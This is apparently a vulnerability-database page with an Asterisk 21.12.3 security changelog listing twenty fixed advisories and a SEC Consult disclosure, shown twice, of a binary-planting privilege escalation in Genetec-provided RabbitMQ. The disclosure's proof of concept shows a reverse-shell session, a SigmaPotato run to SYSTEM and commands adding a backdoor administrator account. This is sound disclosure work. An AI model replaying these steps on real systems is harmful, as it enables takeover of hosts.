| Asterisk | Security Release |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0357 (this record)
- related CVE-2022-37325
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"value": "The Asterisk Development Team would like to announce security release \nAsterisk 21.12.3.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/21.12.3\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 21.12.3\n\n\n## Change Log for Release asterisk-21.12.3\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.3.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/21.12.2...21.12.3) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.3.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 21\n- Commit Authors: 7\n- Issues Resolved: 0\n- Security Advisories Resolved: 20\n - [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim \nDIALPAGE digit handling can overflow phone_number and crash Asterisk\n - [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer \nDereference in HTTP AMI Digest Authentication\n - [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS \nin Phone Provisioning HTTP Error Pages\n - [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer \noverflow in MWI NOTIFY Message-Account parsing\n - [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds \nRead in Q.931 Information Element Parser (H.323 Addon)\n - [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer \nOverflow in OGG/Speex File Playback (format_ogg_speex)\n - [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer \nover-read in Asterisk PJSIP MWI body parser\n - [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6): \nHeap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing\n - [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325 \nfix is absent from current chan_ooh323 Q.931 party-number parser\n - [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED \nT.140 Generation Accumulation OOB Write\n - [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer \noverflow in res_xmpp XMPP namespace prefix handling\n - [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection \nin cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk \napp_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds \nWrite in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter \nInjection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)\n - [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED \nT.140 Heap Buffer Overflow\n - [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI \nsetChannelVar bypasses live_dangerously and permits FILE() writes\n - [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI \nREST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer \nOverflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber \nexecutes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE\n\n### User Notes:\n\n- #### acl: Add ACL support to http and ari\n A new section, type=restriction has been added to http.conf\n to allow an uri prefix based acl to be configured. See\n http.conf.sample for examples and more information.\n The user section of ari.conf can now contain an acl configuration\n to restrict users access. See ari.conf.sample for examples and more\n information\n\n\n### Upgrade Notes:\n\n\n### Developer Notes:\n\n- #### ARI: Make ARI applications respect live_dangerously.\n ARI applications can no longer call \"dangerous\" dialplan\n functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n enabling \"live_dangerously\" in asterisk.conf.\n Resolves: #GHSA-vrfp-mg3q-3959\n\n\n### Commit Authors:\n\n- George Joseph: (6)\n- Joshua C. Colp: (1)\n- Mike Bradeen: (4)\n- Milan Kyselica: (7)\n- Pengpeng Hou: (1)\n- Roberto Paleari: (1)\n- ThatTotallyRealMyth: (1)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk\n - !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication\n - !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages\n - !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing\n - !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)\n - !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)\n - !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser\n - !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP \nprocessing\n - !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser\n - !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write\n - !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling\n - !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information \nDisclosure)\n - !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow\n - !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes\n - !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to \npotential privilege escalation And RCE\n\n### Commits By Author:\n\n- #### George Joseph (6):\n - chan_unistim.c: Prevent overrun of phone_number field.\n - res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n - pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n - ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n - ARI: Make ARI applications respect live_dangerously.\n - res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n\n- #### Joshua C. Colp (1):\n - build: Fix GCC discarded-qualifiers const errors.\n\n- #### Mike Bradeen (4):\n - ooh323c: not checking for IE minimum length\n - manager: Use remote address in user error logging\n - ooh323: Prevent potential buffer overflow in trace logging\n - acl: Add ACL support to http and ari\n\n- #### Milan Kyselica (7):\n - res_xmpp: Fix stack buffer overflow in namespace prefix handling\n - res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n - res_config_ldap: Escape LDAP filter values per RFC 4515\n - cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n - http: Escape error page text to prevent reflected XSS\n - codec_codec2: Only process complete Codec2 frames in decoder\n - format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n- #### Pengpeng Hou (1):\n - app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n\n- #### Roberto Paleari (1):\n - res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n\n- #### ThatTotallyRealMyth (1):\n - ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n\n### Commit List:\n\n- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n- chan_unistim.c: Prevent overrun of phone_number field.\n- ooh323c: not checking for IE minimum length\n- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n- ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n- ARI: Make ARI applications respect live_dangerously.\n- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n- manager: Use remote address in user error logging\n- ooh323: Prevent potential buffer overflow in trace logging\n- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n- res_xmpp: Fix stack buffer overflow in namespace prefix handling\n- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n- res_config_ldap: Escape LDAP filter values per RFC 4515\n- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n- http: Escape error page text to prevent reflected XSS\n- codec_codec2: Only process complete Codec2 frames in decoder\n- format_ogg_speex: Add bounds check to prevent heap buffer overflow\n- acl: Add ACL support to http and ari\n- build: Fix GCC discarded-qualifiers const errors.\n\n### Commit Details:\n\n#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n Author: ThatTotallyRealMyth\n Date: 2026-03-19\n\n The ast_tsconvert.py script called by ast_loggrabber is now installed in a\n temporary directory that isn\u0027t world readable or writable.\n\n Resolves: #GHSA-xgj6-2gc5-5x9c\n\n#### chan_unistim.c: Prevent overrun of phone_number field.\n Author: George Joseph\n Date: 2026-06-15\n\n Add a check to key_dial_page() to ensure that dialed digits won\u0027t overrun\n the phone_number field.\n\n Resolves: #GHSA-3g56-cgrh-95p5\n\n#### ooh323c: not checking for IE minimum length\n Author: Mike Bradeen\n Date: 2022-06-06\n\n When decoding q.931 encoded calling/called number\n now checking for length being less than minimum required.\n\n Resolves: #GHSA-h5hv-jmgj-92q2\n\n#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n Author: George Joseph\n Date: 2026-06-12\n\n The REST over WebSocket path now properly prevents non-GET methods from\n being executed on inbound WebSockets.\n\n * The query parameters from the original incoming GET request that caused the\n upgrade to WebSocket are now passed to all REST requests that come from the\n client. This ensures that if the client authenticated with a read-only\n userid using the \"api_key\" query_string parameter, REST requests coming\n in over the WebSocket will only be able to execute GETs on resources.\n The HTTP headers were already passed to the REST requests so if the\n client had authenticated via an \"Authorization\" it was properly handled.\n\n * New tests have"
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GCVE-1988-2026-0350
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:29
VLAI
EPSS
VEX
Title
SEC Consult SA-20260608-0 :: Privilege Escalation via Binary Planting in Genetec-provided RabbitMQ in multiple Genetec products
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260608-0 >
=======================================================================
title: Privilege Escalation via Binary Planting
product: Genetec-provided RabbitMQ in multiple Genetec products
vulnerable version: Multiple products, see below.
fixed version: Multiple products, see below.
CVE number: CVE-2026-25112
impact: High
homepage:https://www.genetec.com/products/unified-security/security-center
found: 2026-03-02
by: Johannes Kruchem (Office Vienna)
Christian Hager (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Leading technology provider of business intelligence, unified physical
security, public safety, and operations. Genetec develops open-platform
software, hardware, and cloud-based services for the physical security
and public safety industry. Its flagship product, Security Center,
unifies IP-based video surveillance, access control, and automatic
license plate recognition (ALPR) into one platform. A global innovator
since 1997, Genetec is headquartered in Montreal, Canada, and serves
enterprise and government organizations via an integrated network of
resellers, integrators, and consultants in over 159 countries. Genetec
was founded on the principle of innovation and remains at the forefront
of emerging technologies that unify physical security systems."
Source:https://www.linkedin.com/company/genetec/
Business recommendation:
------------------------
The vendor provides a patch for multiple affected products which should
be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)
The installation of RabbitMQ using Genetec Security Center installer
creates a directory `C:\ProgramData\Genetec\RabbitMQ` writable for any
authenticated user. The `erl.exe` now frequently tries to execute the
not existing `handle.exe` from this directory as
`NT AUTHORITY\LOCAL SERVICE`. Placing a malicious `handle.exe` in
`C:\ProgramData\Genetec\RabbitMQ` almost immediately invokes the `handle.exe`.
Since the LOCAL SERVICE user has `SeImpersonatePrivilege`, rotten potato attacks
lead to privilege escalation to SYSTEM.
Proof of concept:
-----------------
1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)
Exploiting the LPE requires that RabbitMQ is installed via the Genetec Security
Center installer.
The "erl.exe" is looking for the executable "handle.exe" within the path
C:\ProgramData\Genetec\RabbitMQ, which does not exist. As the executable
erl.exe is running in the context of NT AUTHORITY\LOCAL SERVICE, the executable
handle.exe would also be executed in the same context. The path
C:\ProgramData\Genetec\RabbitMQ is writable for all users, which allows inserting
malicious executables as handle.exe. Planting an executable exploiting
Rotten Potato as handle.exe into C:\ProgramData\Genetec\RabbitMQ leads to privilege
escalation due to the enabled SeImpersonatePrivilege leading to SYSTEM.
[ genetec_handle_exe.png ]
Figure 1: Process explorer showing handle.exe calls
[ genetec_reverse_shell_whoami_priv.png ]
Figure 2: Established reverse shell, showing privileges including SeImpersonatePrivilege
The following listing shows the successful exploitation:
------------------------------------
PS C:\Users\...\Client> .\client.exe
[+] Listening on 0.0.0.0:9999 ...
[+] Waiting for incoming reverse shell connection ...
[+] Connection from 127.0.0.1:54674
[+] Shell session active ÔÇô type commands (exit to quit)
----------------------------------------------------
Microsoft Windows [Version 10.0.26200.7840]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData\Genetec\RabbitMQ> SigmaPotato.exe
C:\ProgramData\Genetec\RabbitMQ> whoami
nt authority\system
C:\ProgramData\Genetec\RabbitMQ> net user privesc [redacted] /ADD
The command completed successfully.
C:\ProgramData\Genetec\RabbitMQ> net localgroup Administrators privesc /ADD
The command completed successfully.
C:\ProgramData\Genetec\RabbitMQ> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
privesc
The command completed successfully.
------------------------------------
Vulnerable / tested versions:
-----------------------------
The following product has been tested by SEC Consult:
* Genetec Mission Control
The following products were affected as well according to the vendor:
* Genetec-provided RabbitMQ (< v3.13.7.19)
* Genetec Mission Control™ (< v3.4.1.0)
* Genetec Industrial IoT (IIoT) — 5.x line (< v5.5.118.0)
* Genetec Industrial IoT (IIoT) — 6.x line (< v6.0.196.0)
* Genetec Airport Operational Manager (AOM) (< v1.6)
* Genetec Restricted Security Area (RSA) Surveillance (< v5.2.1)
* Genetec Inter-System (IS) Gateway (< v1.2)
* Sipelia™ (< v2.11)
All other Genetec products are not affected.
Vendor contact timeline:
------------------------
2026-03-03: Contacting vendor through Genetec PSIRT (security () genetec com)
2026-03-03: Confirmed receipt by Genetec
2026-03-10: Vendor confirmed vulnerability. Responded already with assigned
CVE-2026-25112.
2026-03-12: Thanking vendor for professional and quick response. Asking for the
patch development timeline.
2026-03-12: Vendor responds that their SLO is 60 days for high-severity issues.
RabbitMQ prior to 4.2.3 is affected, used by multiple Genetec producs.
Vendor will also provide a workaround if immediate update is not possible.
2026-03-13: Confirming alignment of coordinated advisory disclosure, asking for a list
of affected products.
2026-03-13: Comprehensive list will be shared when all details are finalized.
2026-03-25: Vendor informs us that they are still actively working on it.
2026-04-07: Vendor informs us that they are still actively working on it.
2026-04-21: Vendor informs us that they are still actively working on it.
2026-04-23: Asking whether affected products are already known. Vendor will
provide additional information when patched versions are confirmed.
2026-05-22: Vendor provides detailed list of affected products and version
numbers as well as hot fix information & workaround. The CVE
will be published on 25th May.
2026-05-26: Informing vendor that we will publish in in June because of public
holidays.
Vendor provides published CVE URL as well as advisory.
2026-06-03: Informing vendor about planned SEC Consult advisory release for 8th June.
2026-06-08: Coordinated release of advisory.
Solution:
---------
The vendor provides updated versions for multiple products as well as a hotfix.
* For new deployments, Genetec-provided RabbitMQ 3.13.7.19 is available.
New deployments can use the Genetec-provided RabbitMQ 3.13.7.19 standalone installer
safely without needing to run the mitigation utility.
* For existing deployments, customers running an affected version should execute
the mitigation utility (SecurityUtility_CVE-2026-25112_RabbitMQ.exe) available in GTAP
as soon as possible.
Genetec provided the following software versions which mitigate the issue:
* Genetec-provided RabbitMQ (3.13.7.19 and later)
* Genetec Mission Control™ (3.4.1.0 and later)
* Genetec Industrial IoT (IIoT) — 5.x line (5.5.118.0 and later)
* Genetec Industrial IoT (IIoT) — 6.x line (6.0.196.0 and later)
* Genetec Airport Operational Manager (AOM) (1.6 and later)
* Genetec Restricted Security Area (RSA) (5.2.1 and later)
* Genetec Inter-System (IS) Gateway (1.2 and later)
* Sipelia™ (2.11 and later (RabbitMQ no longer used starting from v2.11)
A hotfix is available for all affected products:
SecurityUtility_CVE-2026-25112_RabbitMQ.exe
https://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products
Workaround:
-----------
If customers cannot apply the mitigation utility in a timely fashion, they should
restrict access to the following folder to admin users: ProgramData\Genetec\RabbitMQ
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:http://blog.sec-consult.com
X:https://x.com/sec_consult
EOF C. Hager, J. Kruchem / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec | RabbitMQ in multiple Genetec products |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0350 (this record)
- related CVE-2026-25112
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260608-0 \u003e\n=======================================================================\n title: Privilege Escalation via Binary Planting\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Genetec-provided RabbitMQ in multiple Genetec products\n vulnerable version: Multiple products, see below.\n\u00a0 \u00a0 \u00a0 fixed version: Multiple products, see below.\n CVE number: CVE-2026-25112\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0homepage:https://www.genetec.com/products/unified-security/security-center\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-03-02\n by: Johannes Kruchem (Office Vienna)\n Christian Hager (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Leading technology provider of business intelligence, unified physical\nsecurity, public safety, and operations. Genetec develops open-platform\nsoftware, hardware, and cloud-based services for the physical security\nand public safety industry. Its flagship product, Security Center,\nunifies IP-based video surveillance, access control, and automatic\nlicense plate recognition (ALPR) into one platform. A global innovator\nsince 1997, Genetec is headquartered in Montreal, Canada, and serves\nenterprise and government organizations via an integrated network of\nresellers, integrators, and consultants in over 159 countries. Genetec\nwas founded on the principle of innovation and remains at the forefront\nof emerging technologies that unify physical security systems.\"\n\nSource:https://www.linkedin.com/company/genetec/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch for multiple affected products which should\nbe installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)\nThe installation of RabbitMQ using Genetec Security Center installer\ncreates a directory `C:\\ProgramData\\Genetec\\RabbitMQ` writable for any\nauthenticated user. The `erl.exe` now frequently tries to execute the\nnot existing `handle.exe` from this directory as\n`NT AUTHORITY\\LOCAL SERVICE`. Placing a malicious `handle.exe` in\n`C:\\ProgramData\\Genetec\\RabbitMQ` almost immediately invokes the `handle.exe`.\nSince the LOCAL SERVICE user has `SeImpersonatePrivilege`, rotten potato attacks\nlead to privilege escalation to SYSTEM.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)\nExploiting the LPE requires that RabbitMQ is installed via the Genetec Security\nCenter installer.\n\nThe \"erl.exe\" is looking for the executable \"handle.exe\" within the path\nC:\\ProgramData\\Genetec\\RabbitMQ, which does not exist. As the executable\nerl.exe is running in the context of NT AUTHORITY\\LOCAL SERVICE, the executable\nhandle.exe would also be executed in the same context. The path\nC:\\ProgramData\\Genetec\\RabbitMQ is writable for all users, which allows inserting\nmalicious executables as handle.exe. Planting an executable exploiting\nRotten Potato as handle.exe into C:\\ProgramData\\Genetec\\RabbitMQ leads to privilege\nescalation due to the enabled SeImpersonatePrivilege leading to SYSTEM.\n\n[ genetec_handle_exe.png ]\nFigure 1: Process explorer showing handle.exe calls\n\n[ genetec_reverse_shell_whoami_priv.png ]\nFigure 2: Established reverse shell, showing privileges including SeImpersonatePrivilege\n\n\nThe following listing shows the successful exploitation:\n------------------------------------\nPS C:\\Users\\...\\Client\u003e .\\client.exe\n[+] Listening on 0.0.0.0:9999 ...\n[+] Waiting for incoming reverse shell connection ...\n\n[+] Connection from 127.0.0.1:54674\n[+] Shell session active \u00d4\u00c7\u00f4 type commands (exit to quit)\n----------------------------------------------------\n\nMicrosoft Windows [Version 10.0.26200.7840]\n(c) Microsoft Corporation. All rights reserved.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e SigmaPotato.exe\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e whoami\nnt authority\\system\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net user privesc [redacted] /ADD\nThe command completed successfully.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net localgroup Administrators privesc /ADD\nThe command completed successfully.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net localgroup Administrators\nAlias name Administrators\nComment Administrators have complete and unrestricted access to the computer/domain\n\nMembers\n\n-------------------------------------------------------------------------------\nAdministrator\nprivesc\nThe command completed successfully.\n------------------------------------\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following product has been tested by SEC Consult:\n* Genetec Mission Control\n\nThe following products were affected as well according to the vendor:\n\n* Genetec-provided RabbitMQ (\u003c v3.13.7.19)\n* Genetec Mission Control\u2122 (\u003c v3.4.1.0)\n* Genetec Industrial IoT (IIoT) \u2014 5.x line (\u003c v5.5.118.0)\n* Genetec Industrial IoT (IIoT) \u2014 6.x line (\u003c v6.0.196.0)\n* Genetec Airport Operational Manager (AOM) (\u003c v1.6)\n* Genetec Restricted Security Area (RSA) Surveillance (\u003c v5.2.1)\n* Genetec Inter-System (IS) Gateway (\u003c v1.2)\n* Sipelia\u2122 (\u003c v2.11)\n\nAll other Genetec products are not affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-03: Contacting vendor through Genetec PSIRT (security () genetec com)\n2026-03-03: Confirmed receipt by Genetec\n2026-03-10: Vendor confirmed vulnerability. Responded already with assigned\n CVE-2026-25112.\n2026-03-12: Thanking vendor for professional and quick response. Asking for the\n patch development timeline.\n2026-03-12: Vendor responds that their SLO is 60 days for high-severity issues.\n RabbitMQ prior to 4.2.3 is affected, used by multiple Genetec producs.\n Vendor will also provide a workaround if immediate update is not possible.\n2026-03-13: Confirming alignment of coordinated advisory disclosure, asking for a list\n of affected products.\n2026-03-13: Comprehensive list will be shared when all details are finalized.\n2026-03-25: Vendor informs us that they are still actively working on it.\n2026-04-07: Vendor informs us that they are still actively working on it.\n2026-04-21: Vendor informs us that they are still actively working on it.\n2026-04-23: Asking whether affected products are already known. Vendor will\n provide additional information when patched versions are confirmed.\n2026-05-22: Vendor provides detailed list of affected products and version\n numbers as well as hot fix information \u0026 workaround. The CVE\n will be published on 25th May.\n2026-05-26: Informing vendor that we will publish in in June because of public\n holidays.\n Vendor provides published CVE URL as well as advisory.\n2026-06-03: Informing vendor about planned SEC Consult advisory release for 8th June.\n2026-06-08: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides updated versions for multiple products as well as a hotfix.\n\n* For new deployments, Genetec-provided RabbitMQ 3.13.7.19 is available.\n New deployments can use the Genetec-provided RabbitMQ 3.13.7.19 standalone installer\n safely without needing to run the mitigation utility.\n\n* For existing deployments, customers running an affected version should execute\n the mitigation utility (SecurityUtility_CVE-2026-25112_RabbitMQ.exe) available in GTAP\n as soon as possible.\n\nGenetec provided the following software versions which mitigate the issue:\n\n* Genetec-provided RabbitMQ (3.13.7.19 and later)\n* Genetec Mission Control\u2122 (3.4.1.0 and later)\n* Genetec Industrial IoT (IIoT) \u2014 5.x line (5.5.118.0 and later)\n* Genetec Industrial IoT (IIoT) \u2014 6.x line (6.0.196.0 and later)\n* Genetec Airport Operational Manager (AOM) (1.6 and later)\n* Genetec Restricted Security Area (RSA) (5.2.1 and later)\n* Genetec Inter-System (IS) Gateway (1.2 and later)\n* Sipelia\u2122 (2.11 and later (RabbitMQ no longer used starting from v2.11)\n\nA hotfix is available for all affected products:\nSecurityUtility_CVE-2026-25112_RabbitMQ.exe\n\nhttps://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products\n\n\nWorkaround:\n-----------\nIf customers cannot apply the mitigation utility in a timely fashion, they should\nrestrict access to the following folder to admin users: ProgramData\\Genetec\\RabbitMQ\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF C. Hager, J. Kruchem / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
